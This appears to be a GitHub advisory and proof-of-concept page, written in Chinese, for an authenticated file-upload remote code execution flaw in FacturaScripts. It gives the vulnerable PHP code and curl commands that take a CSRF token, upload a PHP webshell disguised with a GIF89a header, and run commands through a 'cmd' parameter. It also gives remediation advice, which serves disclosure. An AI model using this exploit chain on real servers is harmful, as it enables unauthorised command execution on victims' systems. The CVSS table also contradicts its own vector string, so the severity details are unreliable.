guzrex/CVE-2026-42879

GitHub: guzrex/CVE-2026-42879

FacturaScripts 已认证 RCE 漏洞的概念验证,利用 GIF89a 头部绕过 MIME 检测实现 PHP 文件上传与命令执行。

Stars: 0 | Forks: 0

# CVE-2026-42879 - FacturaScripts - 通过 MIME 类型绕过实现已认证无限制文件上传 ## 概述 FacturaScripts 的产品图片上传功能中存在一个已认证无限制文件上传漏洞。拥有有效凭据的攻击者可以上传伪装为 GIF 图片的 PHP 文件(使用 GIF89a 文件头),从而绕过 MIME 类型验证。该文件会以原始扩展名存储,包括 .php 等可执行扩展名。 ## 详细信息 该漏洞存在于: `Core/Lib/ExtendedController/ProductImagesTrait.php` 具体位于 `addImageAction()` 方法中。 ### 漏洞代码 ``` if (false === strpos($uploadFile->getMimeType(), 'image/')) { Tools::log()->error('file-not-supported'); continue; } $folder = Tools::folder('MyFiles'); Tools::folderCheckOrCreate($folder); $uploadFile->move($folder, $uploadFile->getClientOriginalName()); ``` ### 根本原因 - 验证机制仅检查 MIME 类型是否包含 `"image/"` - 可以通过在 PHP 文件前加上 **GIF89a 魔术字节** 来绕过此验证 - 系统错误地将该文件识别为 `image/gif` - 该文件以 `.php` 扩展名保存在可经 Web 访问的目录中 ### 文件存储行为 上传的文件存储在: ``` /MyFiles/YYYY/MM/X.php ``` 其中 `X` 是自动递增的 ID。这允许直接远程执行: ``` http://target/MyFiles/2026/03/2.php?cmd=id ``` ## 影响 成功的利用允许: ## 攻击者可能会向服务器上传带有可执行扩展名(例如 .php)的文件,根据服务器配置,这可能导致进一步的漏洞利用。 ## 概念验证(手动) ### 步骤 1:创建恶意文件 ``` cat > shell.jpg.php << 'EOF' GIF89a EOF ``` ### 步骤 2:身份验证 - 登录到应用程序 - 从浏览器 Cookie 中提取 `PHPSESSID` ### 步骤 3:获取 CSRF token ``` curl -s "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4 ``` ### 步骤 4:上传 shell ``` curl -X POST "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ -F "multireqtoken=YOUR_CSRF_TOKEN" \ -F "action=add-image" \ -F "activetab=EditProductoImagen" \ -F "idproducto=3" \ -F "newfiles[]=@shell.jpg.php" ``` ### 步骤 5:执行命令 ``` curl "http://target/MyFiles/2026/03/2.php?cmd=id" ``` ## CVSS v3.1 **向量:** `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N` **基础评分:** 6.3(中危) | 指标 | 值 | |---|---| | 攻击向量 | 网络 (AV:N) | | 攻击复杂度 | 低 (AC:L) | | 所需权限 | 低 (PR:L) | | 用户交互 | 无 (UI:N) | | 影响范围 | 已改变 (S:C) | | 机密性 | 高 (C:H) | | 完整性 | 高 (I:H) | | 可用性 | 高 (A:H) | ### CWE - **CWE-434**:危险类型文件的无限制上传 ## 受影响的产品 | 字段 | 值 | |---|---| | 生态系统 | Packagist | | CVE ID | CVE-2026-42879 | | 包名 | `facturascripts/facturascripts` | | 受影响版本 | <= 2025.81 | | 已修补版本 | 尚未修补 | | 修复状态 | 待定 | ## 修复建议 1. **验证文件扩展名** — 拒绝任何文件名以 `.php`、`.phtml`、`.phar` 或其他可执行扩展名结尾的上传,无论其 MIME 类型如何 2. **在服务器端重新生成文件名** — 切勿使用 `getClientOriginalName()`;分配一个基于 UUID 的安全名称,并使用经过验证的扩展名 3. **将上传文件存储在 webroot 之外** — 通过控制器以流式传输的方式提供文件服务,防止通过直接的 URL 执行 4. **使用文件类型库** — 使用类似 `fileinfo` 的库验证实际文件内容(魔术字节 + 扩展名 + MIME 类型),而不是信任客户端提供的 MIME 类型 ## 贡献者 - **发现者**:Abdullah Alwasabei / Guzrex
标签:CISA项目, CVE-2026-42879, FacturaScripts, MIME类型绕过, PHP安全, PoC, RCE漏洞, Web安全, 协议分析, 后门, 图片马, 文件上传漏洞, 暴力破解, 权限提升, 编程工具, 蓝队分析, 认证后漏洞, 远程代码执行